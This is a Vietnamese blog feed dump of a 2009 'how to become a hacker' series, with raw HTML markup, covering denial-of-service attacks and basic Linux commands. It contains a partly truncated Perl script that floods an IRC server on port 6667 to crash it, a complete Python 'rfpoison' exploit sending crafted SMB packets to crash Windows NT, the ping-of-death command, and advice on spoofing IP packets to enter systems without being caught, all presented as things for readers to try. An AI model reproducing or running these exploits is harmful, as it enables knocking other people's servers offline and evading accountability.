Hacker gửi một Packet lớn hơn giá trị ( 65000 ký tự ) cho phép đến Port 6667. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Bạn có thể thực hiện việc này bằng cách Telnet đến WircSrv trên Port 6667: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Nếu bạn dùng Unix: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;[hellme@die-communitech.net$ telnet irc.example.com 6667 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Trying example.com... &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Connected to example.com. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Escape character is `^]`. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;[buffer] &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Windows cũng tương tự: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;telnet irc.example.com 6667 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Lưu ý: [buffer] là Packet dữ liệu tương đương với 65000 ký tự . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Tuy nhiên , chúng ta sẽ crash nó rất đơn giản bằng đoạn mã sau ( Các bạn hãy nhìn vào đoạn mã và tự mình giải mã những câu lệnh trong đó , đó cũng là một trong những cách tập luyện cho sự phản xạ của các hacker khi họ nghiên cứu . Nào , chúng ta hãy phân tích nó một cách căn bản ): &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;#!/usr/bin/perl #&lt; == Đoạn mã này cho ta biết là dùng cho các lệnh trong perl &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;use Getopt::Std; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;use Socket; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;getopts(`s:`, \%args); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;if(!defined($args{s})){&amp;usage;} &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;my($serv,$port,$foo,$number,$data,$buf,$in_addr,$p a ddr,$proto); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$foo = ``A``; # Đây là NOP &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$number = ``65000``; # Đây là tất cả số NOP &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$data .= $foo x $number; # kết quả của $foo times $number &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$serv = $args{s}; # lệnh điều khiển server từ xa &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$port = 6667; # lệnh điều khiển cổng từ xa , nó được mặc định là 6667 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$buf = ``$data``; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;$in_addr = (gethostbyname($serv))[4]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;Anhdenday &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;HVA&lt;/span&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 6</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_9749.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:29:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-8789692871394543492</guid><description>&lt;title&gt;Hacker06&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-weight: bold; font-family: arial;" href="./Hacker06_files/filelist.xml" rel="File-List"&gt; &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:purple; 	text-decoration:underline; 	text-underline:single;} span.highlight 	{mso-style-name:highlight;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-weight: bold; font-family: arial;" class="Section1"&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 14pt;" lang="VI"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="" lang="VI"&gt;&lt;o:p&gt;&lt;/o:p&gt;38 . ) DoS  attack là gì ? ( Denial Of Services Attack )
&lt;br /&gt;
&lt;br /&gt;_ DoS attack ( dịch là  tấn công từ chối dịch vụ ) là kiểu tấn công rất lợi hại , với loại tấn công này  , bạn chỉ cần một máy tính kết nối Internet là đã có thể thực hiện việc tấn công  được máy tính của đốI phương . thực chất của DoS attack là &lt;span class="highlight"&gt;hacker&lt;/span&gt; sẽ chiếm dụng một lượng lớn tài nguyên trên &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; ( tài nguyên đó có thể là băng thông, bộ nhớ, &lt;a href="http://www.ddth.com/autolink.php?id=21&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;cpu&lt;/a&gt;, đĩa cứng, ... ) làm cho &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; không thể nào đáp ứng các yêu cầu từ các máy của nguời  khác ( máy của những người dùng bình thường ) và &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;server&lt;/a&gt; có thể nhanh chóng bị ngừng hoạt động, crash hoặc  reboot .
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;39 . ) Các loại DoS attack hiện đang được biết đến và sử  dụng :
&lt;br /&gt;
&lt;br /&gt;a . ) Winnuke :
&lt;br /&gt;
&lt;br /&gt;_DoS attack loại này chỉ có  thể áp dụng cho các máy tính đang chạy Windows9x . &lt;span class="highlight"&gt;Hacker&lt;/span&gt; sẽ gởi các gói tin với dữ liệu ``Out of Band`` đến  cổng 139 của máy tính đích.( Cổng 139 chính là cổng NetBIOS, cổng này chỉ chấp  nhận các gói tin có cờ Out of Band được bật ) . Khi máy tính của victim nhận  được gói tin này, một màn hình xanh báo lỗi sẽ được hiển thị lên với nạn nhân do  chương trình của Windows nhận được các gói tin này nhưng nó lại không biết phản  ứng với các dữ liệu Out Of Band như thế nào dẫn đến hệ thống sẽ bị crash . 
&lt;br /&gt;
&lt;br /&gt;b . ) Ping of Death :
&lt;br /&gt;
&lt;br /&gt;_ Ở kiểu DoS attack này , ta chỉ  cần gửi một gói dữ liệu có kích thước lớn thông qua lệnh ping đến máy đích thì  hệ thống của họ sẽ bị treo .
&lt;br /&gt;_ VD : ping –l 65000
&lt;br /&gt;
&lt;br /&gt;c . ) Teardrop  :
&lt;br /&gt;
&lt;br /&gt;_ Như ta đã biết , tất cả các dữ liệu chuyển đi trên mạng từ hệ  thống nguồn đến hệ thống đích đều phải trải qua 2 quá trình : dữ liệu sẽ được  chia ra thành các mảnh nhỏ ở hệ thống nguồn, mỗi mảnh đều phải có một giá trị  offset nhất định để xác định vị trí của mảnh đó trong gói dữ liệu được chuyển  đi. Khi các mảnh này đến hệ thống đích, hệ thống đích sẽ dựa vào giá trị offset  để sắp xếp các mảnh lại với nhau theo thứ tự đúng như ban đầu . Lợi dụng sơ hở  đó , ta chỉ cần gởi đến hệ thống đích một loạt gói packets với giá trị offset  chồng chéo lên nhau. Hệ thống đích sẽ không thể nào sắp xếp lại các packets này,  nó không điều khiển được và có thể bị crash, reboot hoặc ngừng hoạt động nếu số  lượng gói packets với giá trị offset chồng chéo lên nhau quá lớn !
&lt;br /&gt;
&lt;br /&gt;d  . ) SYN Attack :
&lt;br /&gt;
&lt;br /&gt;_ Trong SYN Attack, &lt;span class="highlight"&gt;hacker&lt;/span&gt; sẽ gởi đến hệ thống đích một loạt SYN packets với  địa chỉ ip nguồn không có thực. Hệ thống đích khi nhận được các SYN packets này  sẽ gởi trở lại các địa chỉ không có thực đó và chờ đợI để nhận thông tin phản  hồi từ các địa chỉ ip giả . Vì đây là các địa chỉ ip không có thực, nên hệ thống  đích sẽ sẽ chờ đợi vô ích và còn đưa các ``request`` chờ đợi này vào bộ nhớ ,  gây lãng phí một lượng đáng kể bộ nhớ trên máy chủ mà đúng ra là phải dùng vào  việc khác thay cho phải chờ đợi thông tin phản hồi không có thực này . Nếu ta  gởi cùng một lúc nhiều gói tin có địa chỉ IP giả như vậy thì hệ thống sẽ bị quá  tải dẫn đến bị crash hoặc boot máy tính . == &gt; ném đá dấu tay .
&lt;br /&gt;
&lt;br /&gt;e  . ) Land Attack :
&lt;br /&gt;
&lt;br /&gt;_ Land Attack cũng gần giống như SYN Attack, nhưng  thay vì dùng các địa chỉ ip không có thực, &lt;span class="highlight"&gt;hacker&lt;/span&gt;  sẽ dùng chính địa chỉ ip của hệ thống nạn nhân. Điều này sẽ tạo nên một vòng lặp  vô tận giữa trong chính hệ thống nạn nhân đó, giữa một bên cần nhận thông tin  phản hồi còn một bên thì chẳng bao giờ gởi thông tin phản hồi đó đi cả . == &gt;  Gậy ông đập lưng ông .
&lt;br /&gt;
&lt;br /&gt;f . ) Smurf Attack :
&lt;br /&gt;
&lt;br /&gt;_Trong Smurf  Attack, cần có ba thành phần: &lt;span class="highlight"&gt;hacker&lt;/span&gt; (người ra lệnh  tấn công), mạng khuếch đại (sẽ nghe lệnh của &lt;span class="highlight"&gt;hacker&lt;/span&gt;) và hệ thống của nạn nhân. &lt;span class="highlight"&gt;Hacker&lt;/span&gt; sẽ gởi các gói tin ICMP đến địa chỉ broadcast của  mạng khuếch đại. Điều đặc biệt là các gói tin ICMP packets này có địa chỉ ip  nguồn chính là địa chỉ ip của nạn nhân . Khi các packets đó đến được địa chỉ  broadcast của mạng khuếch đại, các máy tính trong mạng khuếch đại sẽ tưởng rằng  máy tính nạn nhân đã gởi gói tin ICMP packets đến và chúng sẽ đồng loạt gởi trả  lại hệ thống nạn nhân các gói tin phản hồi ICMP packets. Hệ thống máy nạn nhân  sẽ không chịu nổi một khối lượng khổng lồ các gói tin này và nhanh chóng bị  ngừng hoạt động, crash hoặc reboot. Như vậy, chỉ cần gởi một lượng nhỏ các gói  tin ICMP packets đi thì hệ thống mạng khuếch đại sẽ khuếch đại lượng gói tin  ICMP packets này lên gấp bộI . Tỉ lệ khuếch đại phụ thuộc vào số mạng tính có  trong mạng khuếch đạI . Nhiệm vụ của các &lt;span class="highlight"&gt;hacker&lt;/span&gt; là  cố chiếm được càng nhiều hệ thống mạng hoặc routers cho phép chuyển trực tiếp  các gói tin đến địa chỉ broadcast không qua chỗ lọc địa chỉ nguồn ở các đầu ra  của gói tin . Có được các hệ thống này, &lt;span class="highlight"&gt;hacker&lt;/span&gt; sẽ  dễ dàng tiến hành Smurf Attack trên các hệ thống cần tấn công . == &gt; một máy  làm chẳng si nhê , chục máy chụm lại ta đành chào thua .
&lt;br /&gt;
&lt;br /&gt;g . ) UDP  Flooding :
&lt;br /&gt;
&lt;br /&gt;_ Cách tấn công UDP đòi hỏi phải có 2 hệ thống máy cùng  tham gia. Hackers sẽ làm cho hệ thống của mình đi vào một vòng lặp trao đổi các  dữ liệu qua giao thức UDP. Và giả mạo địa chỉ ip của các gói tin là địa chỉ  loopback ( 127.0.0.1 ) , rồi gởi gói tin này đến hệ thống của nạn nhân trên cổng  UDP echo ( 7 ). Hệ thống của nạn nhân sẽ trả lời lại các messages do 127.0.0.1(  chính nó ) gởi đến , kết quả là nó sẽ đi vòng một vòng lặp vô tận. Tuy nhiên, có  nhiều hệ thống không cho dùng địa chỉ loopback nên &lt;span class="highlight"&gt;hacker&lt;/span&gt; sẽ giả mạo một địa chỉ ip của một máy tính nào đó  trên mạng nạn nhân và tiến hành ngập lụt UDP trên hệ thống của nạn nhân . Nếu  bạn làm cách này không thành công thì chính máy của bạn sẽ bị đấy .
&lt;br /&gt;
&lt;br /&gt;h  . ) Tấn công DNS :
&lt;br /&gt;
&lt;br /&gt;_ &lt;span class="highlight"&gt;Hacker&lt;/span&gt; có thể đổi  một lối vào trên Domain Name Server của hệ thống nạn nhân rồi cho chỉ đến một  website nào đó của &lt;span class="highlight"&gt;hacker&lt;/span&gt;. Khi máy khách yêu cầu  DNS phân tích địa chỉ bị xâm nhập thành địa chỉ ip, lập tức DNS ( đã bị &lt;span class="highlight"&gt;hacker&lt;/span&gt; thay đổi cache tạm thờI ) sẽ đổi thành địa chỉ ip  mà &lt;span class="highlight"&gt;hacker&lt;/span&gt; đã cho chỉ đến đó . Kết quả là thay vì  phải vào trang Web muốn vào thì các nạn nhân sẽ vào trang Web do chính &lt;span class="highlight"&gt;hacker&lt;/span&gt; tạo ra . Một cách tấn công từ chối dịch vụ thật  hữu hiệu !.
&lt;br /&gt;
&lt;br /&gt;g . ) Distributed DoS Attacks ( DDos ) :
&lt;br /&gt;
&lt;br /&gt;_  DDoS yêu cầu phải có ít nhất vài hackers cùng tham gia. Đầu tiên các hackers sẽ  cố thâm nhập vào các mạng máy tính được bảo mật kém, sau đó cài lên các hệ thống  này chương trình DDoS server. Bây giờ các hackers sẽ hẹn nhau đến thời gian đã  định sẽ dùng DDoS client kết nối đến các DDoS servers, sau đó đồng loạt ra lệnh  cho các DDoS servers này tiến hành tấn công DDoS đến hệ thống nạn nhân . 
&lt;br /&gt;
&lt;br /&gt;h . ) DRDoS ( The Distributed Reflection Denial of Service Attack ) : 
&lt;br /&gt;
&lt;br /&gt;_ Đây có lẽ là kiểu tấn công lợi hại nhất và làm boot máy tính của  đối phương nhanh gọn nhất . Cách làm thì cũng tương tự như DDos nhưng thay vì  tấn công bằng nhiều máy tính thì ngườI tấn công chỉ cần dùng một máy tấn công  thông qua các server lớn trên thế giới . Vẫn với phương pháp giả mạo địa chỉ IP  của victim , kẻ tấn công sẽ gởi các gói tin đến các server mạnh nhất , nhanh  nhất và có đường truyền rộng nhất như Yahoo .v.v… , các server này sẽ phản hồi  các gói tin đó đến địa chỉ của victim . Việc cùng một lúc nhận được nhiều gói  tin thông qua các server lớn này sẽ nhanh chóng làm nghẽn đường truyền của máy  tính nạn nhân và làm crash , reboot máy tính đó . Cách tấn công này lợi hại ở  chỗ chỉ cần một máy có kết nối Internet đơn giản với đường truyền bình thường  cũng có thể đánh bật được hệ thống có đường truyền tốt nhất thế giớI nếu như ta  không kịp ngăn chặn . Trang Web HVA của chúng ta cũng bị DoS vừa rồi bởi cách  tấn công này đấy .
&lt;br /&gt;
&lt;br /&gt;40 . ) Kỹ thuật DoS Web bằng Python : 
&lt;br /&gt;
&lt;br /&gt;_ Kỹ thuật này chỉ có thể sử dụng duy nhất trên WinNT , và bạn cần  phải có thời gian thì máy tính của nạn nhân mới bị down được .
&lt;br /&gt;_ Bạn hãy  download Pyphon tại &lt;a href="http://www.python.org/" target="_blank"&gt;http://www.python.org/&lt;/a&gt; để sử dụng .
&lt;br /&gt;_ Bạn hãy save đoạn mã  sau lên file rfpoison.py .
&lt;br /&gt;
&lt;br /&gt;CODE
&lt;br /&gt;import string
&lt;br /&gt;import struct 
&lt;br /&gt;from socket import *
&lt;br /&gt;import sys
&lt;br /&gt;def a2b(s):
&lt;br /&gt;bytes = map(lambda  x: string.atoi(x, 16),
&lt;br /&gt;string.split(s))
&lt;br /&gt;data = string.join(map(chr,  bytes), ``)
&lt;br /&gt;return data
&lt;br /&gt;def b2a(s):
&lt;br /&gt;bytes = map(lambda x: `%.2x` %  x, map(ord, s))
&lt;br /&gt;return string.join(bytes, ` `)
&lt;br /&gt;
&lt;br /&gt;# Yêu cầu tập hợp  NBSS
&lt;br /&gt;nbss_session = a2b(``````
&lt;br /&gt;81 00 00 48 20 43 4b 46 44 45
&lt;br /&gt;4e 45  43 46 44 45 46 46 43 46 47 45 46 46 43 43
&lt;br /&gt;41 43 41 43 41 43 41 43 41 43 41  00 20 45 48 45
&lt;br /&gt;42 46 45 45 46 45 4c 45 46 45 46 46 41 45 46 46
&lt;br /&gt;43 43 41  43 41 43 41 43 41 43 41 41 41 00 00 00
&lt;br /&gt;00 00
&lt;br /&gt;``````)
&lt;br /&gt;
&lt;br /&gt;# Tạo SMB 
&lt;br /&gt;crud = (
&lt;br /&gt;# Yêu cầu SMBnegprot
&lt;br /&gt;``````
&lt;br /&gt;ff 53 4d 42 72 00
&lt;br /&gt;00 00  00 08 01 00 00 00 00 00 00 00 00 00 00 00
&lt;br /&gt;00 00 00 00 f4 01 00 00 01 00 00  81 00 02 50 43
&lt;br /&gt;20 4e 45 54 57 4f 52 4b 20 50 52 4f 47 52 41 4d
&lt;br /&gt;20 31 2e  30 00 02 4d 49 43 52 4f 53 4f 46 54 20
&lt;br /&gt;4e 45 54 57 4f 52 4b 53 20 31 2e 30  33 00 02 4d
&lt;br /&gt;49 43 52 4f 53 4f 46 54 20 4e 45 54 57 4f 52 4b
&lt;br /&gt;53 20 33 2e  30 00 02 4c 41 4e 4d 41 4e 31 2e 30
&lt;br /&gt;00 02 4c 4d 31 2e 32 58 30 30 32 00 02  53 61 6d
&lt;br /&gt;62 61 00 02 4e 54 20 4c 41 4e 4d 41 4e 20 31 2e
&lt;br /&gt;30 00 02 4e 54  20 4c 4d 20 30 2e 31 32 00
&lt;br /&gt;``````,
&lt;br /&gt;# Yêu cầu setup SMB X
&lt;br /&gt;`````` 
&lt;br /&gt;ff 53 4d 42 73 00
&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
&lt;br /&gt;00  00 00 00 f4 01 00 00 01 00 0d ff 00 00 00 ff
&lt;br /&gt;ff 02 00 f4 01 00 00 00 00 01  00 00 00 00 00 00
&lt;br /&gt;00 00 00 00 00 17 00 00 00 57 4f 52 4b 47 52 4f
&lt;br /&gt;55 50  00 55 6e 69 78 00 53 61 6d 62 61 00
&lt;br /&gt;``````,
&lt;br /&gt;# Yêu cầu SMBtconX 
&lt;br /&gt;``````
&lt;br /&gt;ff 53 4d 42 75 00
&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00  00 00
&lt;br /&gt;00 00 00 00 f4 01 00 08 01 00 04 ff 00 00 00 00
&lt;br /&gt;00 01 00 17 00 00  5c 5c 2a 53 4d 42 53 45 52 56
&lt;br /&gt;45 52 5c 49 50 43 24 00 49 50 43 00 
&lt;br /&gt;``````,
&lt;br /&gt;# Yêu cầu khởI tạo SMBnt X
&lt;br /&gt;``````
&lt;br /&gt;ff 53 4d 42 a2 00 
&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
&lt;br /&gt;00 00 00 08 f4 01 00 08  01 00 18 ff 00 00 00 00
&lt;br /&gt;07 00 06 00 00 00 00 00 00 00 9f 01 02 00 00 00 
&lt;br /&gt;00 00 00 00 00 00 00 00 00 00 03 00 00 00 01 00
&lt;br /&gt;00 00 00 00 00 00 02 00  00 00 00 08 00 5c 73 72
&lt;br /&gt;76 73 76 63 00
&lt;br /&gt;``````,
&lt;br /&gt;# yêu cầu biên dịch  SMB
&lt;br /&gt;``````
&lt;br /&gt;ff 53 4d 42 25 00
&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00  00 00 00
&lt;br /&gt;00 00 00 08 f4 01 00 08 01 00 10 00 00 48 00 00
&lt;br /&gt;00 48 00 00 00  00 00 00 00 00 00 00 00 00 00 4c
&lt;br /&gt;00 48 00 4c 00 02 00 26 00 00 08 51 00 5c  50 49
&lt;br /&gt;50 45 5c 00 00 00 05 00 0b 00 10 00 00 00 48 00
&lt;br /&gt;00 00 01 00 00 00  30 16 30 16 00 00 00 00 01 00
&lt;br /&gt;00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12  78
&lt;br /&gt;5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c
&lt;br /&gt;c9 11 9f e8 08 00 2b  10 48 60 02 00 00 00
&lt;br /&gt;``````,
&lt;br /&gt;# SMBtrans Request
&lt;br /&gt;``````
&lt;br /&gt;ff 53 4d  42 25 00
&lt;br /&gt;00 00 00 08 01 00 00 00 00 00 00 00 00 00 00 00
&lt;br /&gt;00 00 00 08 f4  01 00 08 01 00 10 00 00 58 00 00
&lt;br /&gt;00 58 00 00 00 00 00 00 00 00 00 00 00 00  00 4c
&lt;br /&gt;00 58 00 4c 00 02 00 26 00 00 08 61 00 5c 50 49
&lt;br /&gt;50 45 5c 00 00 00  05 00 00 03 10 00 00 00 58 00
&lt;br /&gt;00 00 02 00 00 00 48 00 00 00 00 00 0f 00 01  00
&lt;br /&gt;00 00 0d 00 00 00 00 00 00 00 0d 00 00 00 5c 00
&lt;br /&gt;5c 00 2a 00 53 00 4d  00 42 00 53 00 45 00 52 00
&lt;br /&gt;56 00 45 00 52 00 00 00 00 00 01 00 00 00 01 00 
&lt;br /&gt;00 00 00 00 00 00 ff ff ff ff 00 00 00 00
&lt;br /&gt;``````
&lt;br /&gt;)
&lt;br /&gt;crud =  map(a2b, crud)
&lt;br /&gt;def smb_send(sock, data, type=0, flags=0):
&lt;br /&gt;d =  struct.pack(`!BBH`, type, flags, len(data))
&lt;br /&gt;#print `send:`, b2a(d+data) 
&lt;br /&gt;sock.send(d+data)
&lt;br /&gt;def smb_recv(sock):
&lt;br /&gt;s = sock.recv(4) 
&lt;br /&gt;assert(len(s) == 4)
&lt;br /&gt;type, flags, length = struct.unpack(`!BBH`, s) 
&lt;br /&gt;data = sock.recv(length)
&lt;br /&gt;assert(len(data) == length)
&lt;br /&gt;#print `recv:`,  b2a(s+data)
&lt;br /&gt;return type, flags, data
&lt;br /&gt;def nbss_send(sock, data): 
&lt;br /&gt;sock.send(data)
&lt;br /&gt;def nbss_recv(sock):
&lt;br /&gt;s = sock.recv(4) 
&lt;br /&gt;assert(len(s) == 4)
&lt;br /&gt;return s
&lt;br /&gt;def main(host, port=139):
&lt;br /&gt;s =  socket(AF_INET, SOCK_STREAM)
&lt;br /&gt;s.connect(host, port)
&lt;br /&gt;nbss_send(s,  nbss_session)
&lt;br /&gt;nbss_recv(s)
&lt;br /&gt;for msg in crud[:-1]:
&lt;br /&gt;smb_send(s, msg) 
&lt;br /&gt;smb_recv(s)
&lt;br /&gt;smb_send(s, crud[-1]) # no response to this
&lt;br /&gt;s.close() 
&lt;br /&gt;if __name__ == `__main__`:
&lt;br /&gt;print `Sending poison...`, 
&lt;br /&gt;main(sys.argv[1])
&lt;br /&gt;print `done.`
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;Để có thể làm down được  server của đối phương bạn cần phải có thời gian DoS , nếu không có điều kiện chờ  đợi tốt nhất bạn không nên sử dụng cách này . Nhưng “vọc” thử cho biết thì được  đúng không ?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="VI"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="VI"&gt;Anhdenday 
&lt;br /&gt;HVA&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 5</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_9958.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:29:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-3947217194260293863</guid><description>&lt;span style="font-family: arial; font-weight: bold;"&gt;31 . ) Gói tin TCP/IP là gì? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn làm điều này. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;32 . ) Linux là gi`: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1 phần mềm đảm trách chức vụ liên lạc giữa các chương trình ứng dụng máy tính và phần cứng. Cung cấp các chứng năng như: quản lý file, quản lý bộ nhớ ảo, các thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím, .... Nhưng Nhân Linux chưa phải là 1 HĐH, vì thế nên Nhân Linux cần phải liên kết với những chương trình ứng dụng được viết bởi tổ chức GNU tạo lên 1 HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng ta thấy GNU/Linux khi được nhắc đến Linux. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm này ( Nhân và Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để mang đặc trưng của công ty/ tổ chức mình và làm thêm phần cài đặt ( Installation Process ) cho bộ Linux đó, chúng ta có : Distribution. Các Distribution khác nhau ở số lượng và loại Software được đóng gói cũng như quá trình cài đặt, và các phiên bản của Nhân. 1 số Distribution lớn hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;33 . ) Các lệnh căn bản cần biết khi sử dụng hoặc xâm nhập vào hệ thống Linux : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh `` man`` : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể dùng tới lệnh nay : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Cấu trúc lệnh : $ man . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $ man man &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh `` uname ``: cho ta biết các thông tin cơ bản về hệ thống &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh w : xem các user đang login và action của họ trên hệ thống . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví Dụ : $w nó sẽ đưa ra thông tin sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh ps: xem thông tin các process trên hệ thống &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $ps axuw &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh cd : bạn 